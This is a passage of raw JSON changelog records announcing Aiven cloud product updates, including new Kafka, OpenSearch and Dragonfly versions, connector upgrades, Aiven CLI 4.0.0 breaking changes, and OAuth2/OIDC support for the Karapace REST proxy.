"},{"_key":"11ab0442cc21","_type":"span","marks":["d405a5c68a4c"],"text":"organizations"},{"_key":"b45b9655a289","_type":"span","marks":[],"text":" and get instructions on how to "},{"_key":"7659ae4eaea2","_type":"span","marks":["6e6c87588f74"],"text":"create organizations and organizational units"},{"_key":"9ccc39a82190","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"d405a5c68a4c","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/projects_accounts_access"},{"_key":"6e6c87588f74","_type":"link","href":"https://docs.aiven.io/docs/tools/aiven-console/howto/create-accounts"}],"style":"normal"}],"publishedAt":"2023-05-25T06:48:00.000Z","tags":[{"_key":"f4de246a6a09","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"tool"}],"title":"Organizations list now available in the user profile"} {"__i18n_lang":"en","_createdAt":"2023-06-19T07:23:19Z","_id":"6ed4a637-0243-4bce-b000-a47028a2f51f","_rev":"tW7kMBSHIbCIaN9dzsCYx2","_type":"changelog","_updatedAt":"2023-06-19T08:18:10Z","changeType":"new","description":[{"_key":"db9e9888c333","_type":"block","children":[{"_key":"61e41e1852df0","_type":"span","marks":[],"text":"Aiven for OpenSearch®service now supports OpenSearch 2.8.0, the latest version packed with several new features and improvements. Some of the key highlights of what's new in this version:"}],"markDefs":[],"style":"normal"},{"_key":"dad46cec443e","_type":"block","children":[{"_key":"379d80e124ec0","_type":"span","marks":["strong"],"text":"Query your data across OpenSearch clusters with PPL:"},{"_key":"97aa5633332f","_type":"span","marks":[],"text":" PPL (Piped Processing Language) is a new query language that allows you to run SQL-like queries on your OpenSearch data. You can also use PPL to query data from multiple OpenSearch clusters, making it easier to analyze and visualize data from different sources."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"116f9d1cf3bc","_type":"block","children":[{"_key":"0bca70bcb4b0","_type":"span","marks":["strong"],"text":"Simplify index management tasks:"},{"_key":"c26281a54031","_type":"span","marks":[],"text":" You can now use index templates and component templates to define settings, mappings, and aliases for your indices."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"800fc0172db8","_type":"block","children":[{"_key":"f7cb9fd024e4","_type":"span","marks":["strong"],"text":"Search pipelines experimental feature:"},{"_key":"2e7cc40030a4","_type":"span","marks":[],"text":" Search pipelines let you transform and enrich your search results with custom logic. You can use search pipelines to modify the relevance score, add or remove fields, or apply any other logic that suits your use case."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"935cdc3dbe93","_type":"block","children":[{"_key":"a2636579c088","_type":"span","marks":["strong"],"text":"Enhancements to existing features:"},{"_key":"6c9cb366a16e","_type":"span","marks":[],"text":" Existing features have been enhanced, including support for the latest version of OpenSearch Dashboards, default activation of cross-cluster replication, and an upgrade to the underlying OpenSearch version."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e9331a236fa7","_type":"block","children":[{"_key":"d0954b6067da","_type":"span","marks":[],"text":"To upgrade to this version, apply the"},{"_key":"2c2fca2b86ec","_type":"span","marks":["44ef770e3546"],"text":" service maintenance updates"},{"_key":"9a3af61ecd5b","_type":"span","marks":[],"text":". For information on Aiven for OpenSearch, see the "},{"_key":"a078073adf8b3","_type":"span","marks":["f388cbb59a4f"],"text":"documentation"},{"_key":"a078073adf8b4","_type":"span","marks":[],"text":".\nTo learn more, see "},{"_key":"6d514f7107c8","_type":"span","marks":["cb4724ee5375"],"text":"OpenSearch and OpenSearch Dashboards 2.8.0 Release Notes"},{"_key":"76f1797e25e4","_type":"span","marks":[],"text":". "}],"markDefs":[{"_key":"cb4724ee5375","_type":"link","href":"https://github.com/opensearch-project/opensearch-build/blob/main/release-notes/opensearch-release-notes-2.8.0.md"},{"_key":"44ef770e3546","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/maintenance-window"},{"_key":"f388cbb59a4f","_type":"link","href":"https://docs.aiven.io/docs/products/opensearch"}],"style":"normal"}],"publishedAt":"2023-06-16T07:13:00.000Z","tags":[{"_key":"28dd45e37bd5","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"service"}],"title":"OpenSearch® 2.8.0 is now available on Aiven"} {"__i18n_lang":"en","_createdAt":"2023-06-28T06:48:00Z","_id":"5647651d-34f9-487d-a2ac-2a7f15c24f48","_rev":"UMQlcq9IaEdUdTmmR3pRzP","_type":"changelog","_updatedAt":"2023-06-28T06:48:00Z","changeType":"improved","description":[{"_key":"ac11595febc9","_type":"block","children":[{"_key":"078f50e3a4a80","_type":"span","marks":[],"text":"We are excited to announce that Aiven Transformations for Apache Kafka® Connect has been upgraded to version 1.5.0. This release rolls out new features, improvements, and updated dependencies."}],"markDefs":[],"style":"normal"},{"_key":"a7cab4d3f12b","_type":"block","children":[{"_key":"11cb137d13480","_type":"span","marks":["strong"],"text":"New Single Message Transform (SMT) implementation"},{"_key":"11cb137d13481","_type":"span","marks":[],"text":": Introducing "},{"_key":"ea91036dd8ed","_type":"span","marks":["code"],"text":"ExtractTopicFromValueSchema"},{"_key":"c27e9052613c","_type":"span","marks":[],"text":", a new SMT allowing more flexible topic management by extracting topics from value schemas."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"dc2fef88cea9","_type":"block","children":[{"_key":"51fbfda68a500","_type":"span","marks":["strong"],"text":"Extended support for schema-less values in "},{"_key":"606c7f92a272","_type":"span","marks":["strong","code"],"text":"ExtractTopic"},{"_key":"20b6635f241c","_type":"span","marks":["strong"],"text":" transform: "},{"_key":"51fbfda68a501","_type":"span","marks":[],"text":"The "},{"_key":"ed03d1ea344a","_type":"span","marks":["code"],"text":"ExtractTopic"},{"_key":"70429d8cae5b","_type":"span","marks":[],"text":" transform now provides extended support for schema-less values, including maps and primitive values, in addition to schema-based values"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1b3a0afc2699","_type":"block","children":[{"_key":"df02a305d95e0","_type":"span","marks":["strong"],"text":"Dependency Upgrades"},{"_key":"df02a305d95e1","_type":"span","marks":[],"text":": This release includes multiple dependency upgrades."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3633c6c0abb3","_type":"block","children":[{"_key":"840360af58f40","_type":"span","marks":[],"text":"For detailed information, refer to "},{"_key":"840360af58f41","_type":"span","marks":["4e9270c2fa9b"],"text":"GitHub Release"},{"_key":"840360af58f42","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"4e9270c2fa9b","_type":"link","href":"https://github.com/aiven/transforms-for-apache-kafka-connect/releases/tag/v1.5.0"}],"style":"normal"}],"publishedAt":"2023-06-28T06:44:52.832Z","tags":[{"_key":"51cf9b8189ce","_ref":"fa631193-9a6d-498e-8545-af24408bef0b","_type":"service"}],"title":"Aiven Transformations for Apache Kafka® Connect upgraded"} {"__i18n_lang":"en","_createdAt":"2023-05-23T13:20:19Z","_id":"650ba4a0-4a58-43a5-8978-893711e4c755","_rev":"3YxqQWUIXkU9Q9rCEOZqbc","_type":"changelog","_updatedAt":"2023-05-23T13:25:58Z","changeType":"improved","description":[{"_key":"fa737c488dc0","_type":"block","children":[{"_key":"fe29fa3ac3a50","_type":"span","marks":[],"text":"The Splunk sink connector for Aiven for Apache Kafka has been upgraded to version 2.1.1. This version introduces significant changes and enhancements over the previous version (version 2.0.5). The key highlights of the updates included in this version:"}],"markDefs":[],"style":"normal"},{"_key":"48025f72dd32","_type":"block","children":[{"_key":"2fd17acb3b260","_type":"span","marks":["strong"],"text":"Kerberos authentication support: "},{"_key":"3b830fcc2dbb","_type":"span","marks":[],"text":"The upgraded connector now offers support for Kerberos authentication, providing users with a more accessible and secure way to authorize their Kafka streams with Splunk."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d76956ed0f8f","_type":"block","children":[{"_key":"ccbf7e3c6d920","_type":"span","marks":["strong"],"text":"Protobuf support: "},{"_key":"ccbf7e3c6d921","_type":"span","marks":[],"text":"This connector version includes Protobuf support, simplifying the process of handling and transferring messages in the Protobuf format within the Kafka system."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f509371e3061","_type":"block","children":[{"_key":"88e7c4e808990","_type":"span","marks":["strong"],"text":"Timestamp extraction capability: "},{"_key":"88e7c4e808991","_type":"span","marks":[],"text":"This upgraded connector introduces the capability to extract specific timestamps from Kafka messages, allowing for precise timestamp-based operations."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"379af396cb7e","_type":"block","children":[{"_key":"512578e326470","_type":"span","marks":[],"text":"For more information, see "},{"_key":"a0fe51dbe2271","_type":"span","marks":["68207cd2cc96"],"text":"Splunk Connect for Kafka release notes"},{"_key":"a0fe51dbe2272","_type":"span","marks":[],"text":". For information on how to use this connector, see "},{"_key":"a0fe51dbe2273","_type":"span","marks":["e6344df34101"],"text":"Create a sink connector from Apache Kafka® to Splunk"},{"_key":"a0fe51dbe2274","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"68207cd2cc96","_type":"link","href":"https://github.com/splunk/kafka-connect-splunk/releases"},{"_key":"e6344df34101","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/splunk-sink"}],"style":"normal"}],"publishedAt":"2023-05-17T13:10:00.000Z","tags":[{"_key":"49d8f6fb75ce","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Upgraded Splunk sink connector for Aiven for Apache Kafka®"} {"__i18n_lang":"en","_createdAt":"2023-11-09T12:27:28Z","_id":"b064ce84-e050-48b2-9bf5-dd99b87875e9","_rev":"6DRE6Zb4jyu9iXgb2ExxuJ","_type":"changelog","_updatedAt":"2023-11-10T16:16:13Z","changeType":"new","description":[{"_key":"fe1db3edb994","_type":"block","children":[{"_key":"5a63e2cc5d7b0","_type":"span","marks":[],"text":"A new major version of the Aiven CLI has been released as part of API changes to comply with HTTP/1.1. "}],"markDefs":[],"style":"normal"},{"_key":"0c0a48e26bb4","_type":"block","children":[{"_key":"9f03e383f9ae","_type":"span","marks":[],"text":"This version includes breaking changes and soon all previous versions will return incorrect content. In addition, updates continue to be made to support organizations, including:"}],"markDefs":[],"style":"normal"},{"_key":"964b858bd49e","_type":"block","children":[{"_key":"50332d5938800","_type":"span","marks":[],"text":"The "},{"_key":"15e65b152a40","_type":"span","marks":["code"],"text":"avn card"},{"_key":"24293c78776d","_type":"span","marks":[],"text":" commands were deprecated in version 3.0.0 and have now been removed."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"482c52cf89bd","_type":"block","children":[{"_key":"a94034ab4c85","_type":"span","marks":[],"text":"The "},{"_key":"50f5ee6106bb","_type":"span","marks":["code"],"text":"avn account team"},{"_key":"e20c5c2f6898","_type":"span","marks":[],"text":" commands are deprecated and will be removed in the next version."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1ef0fecdb0ac","_type":"block","children":[{"_key":"d4ef33459cfb","_type":"span","marks":[],"text":"The "},{"_key":"06deea8e1ff4","_type":"span","marks":["code"],"text":"--parent-id"},{"_key":"11efb2d4f976","_type":"span","marks":[],"text":" is now mandatory in the "},{"_key":"bce62bdd3900","_type":"span","marks":["code"],"text":"avn project create"},{"_key":"a23c19086af2","_type":"span","marks":[],"text":" command."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e21b563819e4","_type":"block","children":[{"_key":"37fc6573e92c","_type":"span","marks":[],"text":"The following have been removed from "},{"_key":"76bc84edcc55","_type":"span","marks":["code"],"text":"avn project create/update"},{"_key":"302d95790f84","_type":"span","marks":[],"text":":"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"32a3decc3b25","_type":"block","children":[{"_key":"9c9ee4daf0c9","_type":"span","marks":["code"],"text":"--account-id"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"daa1a889eb57","_type":"block","children":[{"_key":"cb9f2dc29eb8","_type":"span","marks":["code"],"text":"--billing-address"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"71992abd3abf","_type":"block","children":[{"_key":"2afbe515f41d","_type":"span","marks":["code"],"text":"--billing-currency"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9f176db369fe","_type":"block","children":[{"_key":"c8c43caa0310","_type":"span","marks":["code"],"text":"--billing-email"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2906d5c8ed41","_type":"block","children":[{"_key":"1efbc0641819","_type":"span","marks":["code"],"text":"--billing-extra-text"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"96db31a7c9cd","_type":"block","children":[{"_key":"47efb5f53649","_type":"span","marks":["code"],"text":"--card-id"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b3366d90415a","_type":"block","children":[{"_key":"9198f25931d1","_type":"span","marks":["code"],"text":"--country-code"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ef006741752f","_type":"block","children":[{"_key":"2475688df8d8","_type":"span","marks":["code"],"text":"--vat-id"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8aa9f7c15514","_type":"block","children":[{"_key":"3789ed3948870","_type":"span","marks":[],"text":"The detailed billing related information is replaced by billing group details in the "},{"_key":"862be0fa4e7f","_type":"span","marks":["code"],"text":"avn project list"},{"_key":"6cd5c298eced","_type":"span","marks":[],"text":" command."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"publishedAt":"2023-11-10T15:38:08.178Z","tags":[{"_key":"2e414c3bacc7","_ref":"3362a069-f95e-4230-b990-be0b003bc779","_type":"tool"}],"title":"Aiven Client version 4.0.0 now available"} {"__i18n_lang":"en","_createdAt":"2023-11-03T12:22:19Z","_id":"0cc93922-78aa-477e-b511-6843b48e46f6","_rev":"1h3WMBnk967znzaf4a4aQr","_type":"changelog","_updatedAt":"2023-11-14T13:05:37Z","changeType":"new","description":[{"_key":"9d2942b8f640","_type":"block","children":[{"_key":"22cba5bd1fd20","_type":"span","marks":[],"text":"We are thrilled to announce that Aiven for Apache Kafka now supports Apache Kafka version 3.6.0. This latest version brings a host of new features and improvements."}],"markDefs":[],"style":"normal"},{"_key":"e57952442aa2","_type":"block","children":[{"_key":"143c94ce48e20","_type":"span","marks":["strong"],"text":"Key highlight: Kafka tiered storage"}],"markDefs":[],"style":"normal"},{"_key":"3b04baacdd17","_type":"block","children":[{"_key":"0711909fdfc80","_type":"span","marks":[],"text":"With the introduction of "},{"_key":"0711909fdfc81","_type":"span","marks":["97df74e1b37a"],"text":"KIP-405"},{"_key":"0711909fdfc82","_type":"span","marks":[],"text":", Apache Kafka now supports tiered storage. This feature allows for segregating storage into different tiers based on the data access pattern, optimizing storage costs and performance. This is a limited availability feature and is recommended for non-production environments. To learn more, see "},{"_key":"0568925c4b20","_type":"span","marks":["e83679995b4d"],"text":"Tiered storage in Aiven for Apache Kafka®"},{"_key":"070b10913cdc","_type":"span","marks":[],"text":". "}],"markDefs":[{"_key":"e83679995b4d","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/concepts/list-kafka-tiered-storage"},{"_key":"97df74e1b37a","_type":"link","href":"https://cwiki.apache.org/confluence/display/KAFKA/KIP-405%3A+Kafka+Tiered+Storage"}],"style":"normal"},{"_key":"f6b05f5686b5","_type":"block","children":[{"_key":"45f8ee9a36f80","_type":"span","marks":["strong"],"text":"Other features \u0026 improvements:"}],"markDefs":[],"style":"normal"},{"_key":"13486f44597f","_type":"block","children":[{"_key":"4aea9a1a66420","_type":"span","marks":["strong"],"text":"Offset reset capability in Kafka Connect "},{"_key":"4aea9a1a66421","_type":"span","marks":[],"text":"("},{"_key":"4aea9a1a66422","_type":"span","marks":["429caa476b99"],"text":"KIP-875"},{"_key":"4aea9a1a66423","_type":"span","marks":[],"text":"): Kafka Connect now supports offset reset capability, ensuring more reliable data streaming and handling."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"429caa476b99","_type":"link","href":"https://cwiki.apache.org/confluence/display/KAFKA/KIP-875%3A+First-class+offsets+support+in+Kafka+Connect"},{"_key":"d9c12bd0b6cf","_type":"link","href":"https://cwiki.apache.org/confluence/display/KAFKA/KIP-925%3A+Rack+aware+task+assignment+in+Kafka+Streams"}],"style":"normal"},{"_key":"45bc63bc20bf","_type":"block","children":[{"_key":"14b7e8d7b2100","_type":"span","marks":["strong"],"text":"Rack aware task assignment in Kafka Streams "},{"_key":"14b7e8d7b2101","_type":"span","marks":[],"text":"("},{"_key":"14b7e8d7b2102","_type":"span","marks":["d9c12bd0b6cf"],"text":"KIP-925"},{"_key":"14b7e8d7b2103","_type":"span","marks":[],"text":"): Kafka Streams has introduced a rack-aware task assignment feature, enhancing stream task distribution and fault tolerance. This feature is partially implemented as of this release."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"d9c12bd0b6cf","_type":"link","href":"https://cwiki.apache.org/confluence/display/KAFKA/KIP-925%3A+Rack+aware+task+assignment+in+Kafka+Streams"},{"_key":"def0cd26ae5e","_type":"link","href":"https://cwiki.apache.org/confluence/display/KAFKA/KIP-890%3A+Transactions+Server-Side+Defense"}],"style":"normal"},{"_key":"4cd723422e0d","_type":"block","children":[{"_key":"68144742f5810","_type":"span","marks":["strong"],"text":"Transactions server-side defense (Part 1)"},{"_key":"68144742f5811","_type":"span","marks":[],"text":"("},{"_key":"68144742f5812","_type":"span","marks":["def0cd26ae5e"],"text":"KIP-890"},{"_key":"68144742f5813","_type":"span","marks":[],"text":"): Addresses hanging transactions impacting read committed consumers and preventing compacted logs from being compacted."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"def0cd26ae5e","_type":"link","href":"https://cwiki.apache.org/confluence/display/KAFKA/KIP-890%3A+Transactions+Server-Side+Defense"},{"_key":"3dd62d11112f","_type":"link","href":"https://cwiki.apache.org/confluence/display/KAFKA/KIP-797"}],"style":"normal"},{"_key":"92a98a379ed8","_type":"block","children":[{"_key":"3d7f50307bf70","_type":"span","marks":["strong"],"text":"Accept duplicate listener on port for IPv4/IPv6 "},{"_key":"3d7f50307bf71","_type":"span","marks":[],"text":"("},{"_key":"3d7f50307bf72","_type":"span","marks":["3dd62d11112f"],"text":"KIP-797"},{"_key":"3d7f50307bf73","_type":"span","marks":[],"text":"): Brokers can now be configured with listeners with the same port on different IP stacks, simplifying network configurations."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"3dd62d11112f","_type":"link","href":"https://cwiki.apache.org/confluence/display/KAFKA/KIP-797"},{"_key":"c2ad3b296a02","_type":"link","href":"https://cwiki.apache.org/confluence/display/KAFKA/KIP-923%3A+Add+A+Grace+Period+to+Stream+Table+Join"}],"style":"normal"},{"_key":"4b56b053bce1","_type":"block","children":[{"_key":"586961e0e9910","_type":"span","marks":["strong"],"text":"Grace Period in Stream Table Join "},{"_key":"586961e0e9911","_type":"span","marks":[],"text":"("},{"_key":"586961e0e9912","_type":"span","marks":["c2ad3b296a02"],"text":"KIP-923"},{"_key":"586961e0e9913","_type":"span","marks":[],"text":"): Kafka Streams now offers a grace period for stream-table joins, providing more flexibility in handling late-arriving records."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"c2ad3b296a02","_type":"link","href":"https://cwiki.apache.org/confluence/display/KAFKA/KIP-923%3A+Add+A+Grace+Period+to+Stream+Table+Join"},{"_key":"4d44395010cb","_type":"link","href":"https://cwiki.apache.org/confluence/display/KAFKA/KIP-898%3A+Modernize+Connect+plugin+discovery"}],"style":"normal"},{"_key":"600c583b7d89","_type":"block","children":[{"_key":"4450b538553d0","_type":"span","marks":["strong"],"text":"Modernize Connect plugin discovery"},{"_key":"4450b538553d1","_type":"span","marks":[],"text":" ("},{"_key":"4450b538553d2","_type":"span","marks":["4d44395010cb"],"text":"KIP-898"},{"_key":"4450b538553d3","_type":"span","marks":[],"text":"): Connect workers can now access ServiceLoader manifests and module information during startup, streamlining the plugin class discovery process. This update also allows connector developers to incorporate service declarations into their plugins."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"4d44395010cb","_type":"link","href":"https://cwiki.apache.org/confluence/display/KAFKA/KIP-898%3A+Modernize+Connect+plugin+discovery"}],"style":"normal"},{"_key":"096e4f8028ff","_type":"block","children":[{"_key":"3842e8ed6385","_type":"span","marks":[],"text":"Various bug fixes and improvements have been made to enhance the stability and performance of Apache Kafka."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e69789b69925","_type":"block","children":[{"_key":"14d6f501f53d0","_type":"span","marks":[],"text":"To learn more about Aiven for Apache Kafka, see "},{"_key":"14d6f501f53d1","_type":"span","marks":["36b90c56d173"],"text":"Aiven documentation"},{"_key":"14d6f501f53d2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"36b90c56d173","_type":"link","href":"https://docs.aiven.io/docs/products/kafka"}],"style":"normal"}],"publishedAt":"2023-11-06T14:02:00.000Z","tags":[{"_key":"1a2c389b25d0","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven for Apache Kafka® now supports Apache Kafka version 3.6 "} {"__i18n_lang":"en","_createdAt":"2024-03-19T13:43:42Z","_id":"c12d37ab-9165-42b6-932b-d347f30deb0f","_rev":"BVCcENH0vc5ii3wXm9AICP","_type":"changelog","_updatedAt":"2024-03-20T07:02:24Z","changeType":"new","description":[{"_key":"2beba08a6d36","_type":"block","children":[{"_key":"8c64a3e109bf0","_type":"span","marks":[],"text":"Aiven for Dragonfly is now generally available (GA). This Redis-compatible in-memory database service is designed for high-scale data operations and can be deployed in your preferred cloud environment."}],"markDefs":[],"style":"normal"},{"_key":"7f0709b3e159","_type":"block","children":[{"_key":"039ed98cb02c0","_type":"span","marks":[],"text":"\n"},{"_key":"02014849bc2c","_type":"span","marks":[],"text":"Key features and benefits:"}],"markDefs":[],"style":"normal"},{"_key":"85145bc37966","_type":"block","children":[{"_key":"41d66de0d3310","_type":"span","marks":["strong"],"text":"Redis compatibility at scale"},{"_key":"41d66de0d3311","_type":"span","marks":[],"text":": Aiven for Dragonfly is a seamless drop-in replacement for Redis, capable of handling extensive workloads with enhanced performance."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d33f34ea5e40","_type":"block","children":[{"_key":"e99094704cc20","_type":"span","marks":["strong"],"text":"Optimized for large-scale operations"},{"_key":"e99094704cc21","_type":"span","marks":[],"text":": Dragonfly is specifically built to address the scalability and resource utilization limitations of Redis Open Source Software (Redis OSS)."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"609ec12c95ee","_type":"block","children":[{"_key":"5913422669dd","_type":"span","marks":["strong"],"text":"Seamless migration and compatibility"},{"_key":"7925a67903b8","_type":"span","marks":[],"text":": Mirgrate from Aiven for Redis to Dragonfly with no code modifications needed, maintaining the Redis experience while enhancing performance and scalability."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"970f777ce4df","_type":"block","children":[{"_key":"36f704e58c0d0","_type":"span","marks":["strong"],"text":"Advanced performance and scalability"},{"_key":"36f704e58c0d1","_type":"span","marks":[],"text":": Dragonfly's unique threading and shared-nothing architecture enables it to scale vertically and handle over 1 TB workloads, with 10x throughput of Redis OSS and reduced latency."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"28bb8d9e90a3","_type":"block","children":[{"_key":"cb7da60f89c90","_type":"span","marks":["strong"],"text":"Reliability and support"},{"_key":"cb7da60f89c91","_type":"span","marks":[],"text":": Aiven for Dragonfly is fully supported by Aiven's service level agreements (SLAs), ensuring it can manage production workloads effectively."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c07c66b74be1","_type":"block","children":[{"_key":"db930e94f6cd0","_type":"span","marks":[],"text":"To learn more, see "},{"_key":"db930e94f6cd1","_type":"span","marks":["d5a43f7d79a0"],"text":"Aiven for Dragonfly"},{"_key":"db930e94f6cd2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"d5a43f7d79a0","_type":"link","href":"https://aiven.io/docs/products/dragonfly/concepts/overview"}],"style":"normal"}],"publishedAt":"2024-03-20T07:00:02.229Z","tags":[{"_key":"139b0202065b","_ref":"15ecb747-c8c1-42ad-baab-e7551844a508","_type":"service"}],"title":"Aiven for Dragonfly® General Availability"} {"__i18n_lang":"en","_createdAt":"2023-11-14T09:58:21Z","_id":"487ad161-b17a-4a81-893f-d10f623d3778","_rev":"i471t6VU0nWRLRKiSiViWR","_type":"changelog","_updatedAt":"2023-11-14T10:56:55Z","changeType":"new","description":[{"_key":"60a7b6cceef8","_type":"block","children":[{"_key":"9b182ad66c840","_type":"span","marks":[],"text":"You can now enhance security for Apache Kafka® resources with the latest OAuth 2.0/OpenID Connect (OIDC) integration in Karapace REST proxy. This update adds robust OAuth2/OIDC authentication to the Apache Kafka REST proxy for secure and efficient authorization. Easily configure this feature via the Aiven Console or CLI. "}],"markDefs":[{"_key":"16c4fe6d889b","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/karapace/howto/enable-oauth-oidc-kafka-rest-proxy"}],"style":"normal"},{"_key":"7dd77d011b19","_type":"block","children":[{"_key":"0460fcda3c1c","_type":"span","marks":[],"text":"For detailed instructions, see "},{"_key":"046af6ccfb23","_type":"span","marks":["16c4fe6d889b"],"text":"Enable OAuth2/OIDC support for Apache Kafka® REST proxy"},{"_key":"6e976d1b5b37","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"16c4fe6d889b","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/karapace/howto/enable-oauth-oidc-kafka-rest-proxy"}],"style":"normal"}],"publishedAt":"2023-11-14T10:50:24.888Z","tags":[{"_key":"3b2337da5d58","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"OAuth2/OIDC support for Apache Kafka® REST Proxy with Karapace"} {"__i18n_lang":"en","_createdAt":"2023-07-18T12:24:58Z","_id":"dde7eca8-ad39-4cc8-9936-079c870fe48b","_rev":"77RmzEfKMHZobuqIIvzuOV","_type":"changelog","_updatedAt":"2023-07-19T11:28:16Z","changeType":"improved","description":[{"_key":"51c3dffdb4e9","_type":"block","children":[{"_key":"874bf19e064f0","_type":"span","marks":[],"text":"The Aiven Console has been touched up with new colors, fonts, icons, and illustrations. The updates create a more harmonized and delightful experience for our users."}],"markDefs":[],"style":"normal"}],"publishedAt":"2023-07-19T11:25:00.000Z","tags":[{"_key":"dc01a7f5310b","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"tool"}],"title":"Aiven Console has a fresh new look"} {"__i18n_lang":"en","_createdAt":"2023-08-02T15:09:27Z","_id":"7f8d6f5a-f04f-40ae-a624-4dda404e543e","_rev":"v0cQAWzuhXdzXIalMgiffM","_type":"changelog","_updatedAt":"2023-08-02T16:16:45Z","changeType":"new","description":[{"_key":"fd7b72809bcb","_type":"block","children":[{"_key":"4f24031d37c70","_type":"span","marks":[],"text":"We are happy to announce that Aiven for Apache Kafka now supports Apache Kafka version 3.5.0. This new version brings several key improvements and bug fixes that enhance the stability of our clusters and reduce the chances of losing customer data."}],"markDefs":[],"style":"normal"},{"_key":"2bf27d776c56","_type":"block","children":[{"_key":"f8136640edcf0","_type":"span","marks":["strong"],"text":"Key features:"}],"markDefs":[],"style":"normal"},{"_key":"e9e15c971afe","_type":"block","children":[{"_key":"197b69c34c880","_type":"span","marks":["strong"],"text":"Improved stability with "},{"_key":"197b69c34c881","_type":"span","marks":["006ed19770be","strong"],"text":"KIP-903"},{"_key":"197b69c34c882","_type":"span","marks":["strong"],"text":":"},{"_key":"197b69c34c883","_type":"span","marks":[],"text":" This feature prevents replicas with stale broker epochs from joining the ISR, thereby improving the overall stability of the clusters."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"006ed19770be","_type":"link","href":"https://cwiki.apache.org/confluence/display/KAFKA/KIP-903%3A+Replicas+with+stale+broker+epoch+should+not+be+allowed+to+join+the+ISR"}],"style":"normal"},{"_key":"231a76068699","_type":"block","children":[{"_key":"f794499c60c20","_type":"span","marks":["strong"],"text":"Full support for distributed mode in MirrorMaker 2.0 clusters ("},{"_key":"f794499c60c21","_type":"span","marks":["9f67b5674542","strong"],"text":"KIP-710"},{"_key":"f794499c60c22","_type":"span","marks":["strong"],"text":"):"},{"_key":"f794499c60c23","_type":"span","marks":[],"text":" MirrorMaker 2.0 now fully supports dynamic topic and group filter changes in distributed mode, resolving a previous issue where MirrorMaker would not react properly to these changes."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"9f67b5674542","_type":"link","href":"https://cwiki.apache.org/confluence/display/KAFKA/KIP-710%3A+Full+support+for+distributed+mode+in+dedicated+MirrorMaker+2.0+clusters"}],"style":"normal"},{"_key":"9f2c127aae05","_type":"block","children":[{"_key":"f2dc66f12fd80","_type":"span","marks":["strong"],"text":"First-class offset support in Kafka Connect ("},{"_key":"f2dc66f12fd81","_type":"span","marks":["f15465109b65","strong"],"text":"KIP-875"},{"_key":"f2dc66f12fd82","_type":"span","marks":["strong"],"text":"):"},{"_key":"f2dc66f12fd83","_type":"span","marks":[],"text":" Kafka Connect now supports resetting offsets, allowing logs to be reproduced from the beginning if something goes wrong."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"f15465109b65","_type":"link","href":"https://cwiki.apache.org/confluence/display/KAFKA/KIP-875%3A+First-class+offsets+support+in+Kafka+Connect"}],"style":"normal"},{"_key":"7b750e918242","_type":"block","children":[{"_key":"e8074ef92b850","_type":"span","marks":["strong"],"text":"Enhancements to Kafka Streams:"},{"_key":"e8074ef92b851","_type":"span","marks":[],"text":" Kafka Streams now have better exception handling with 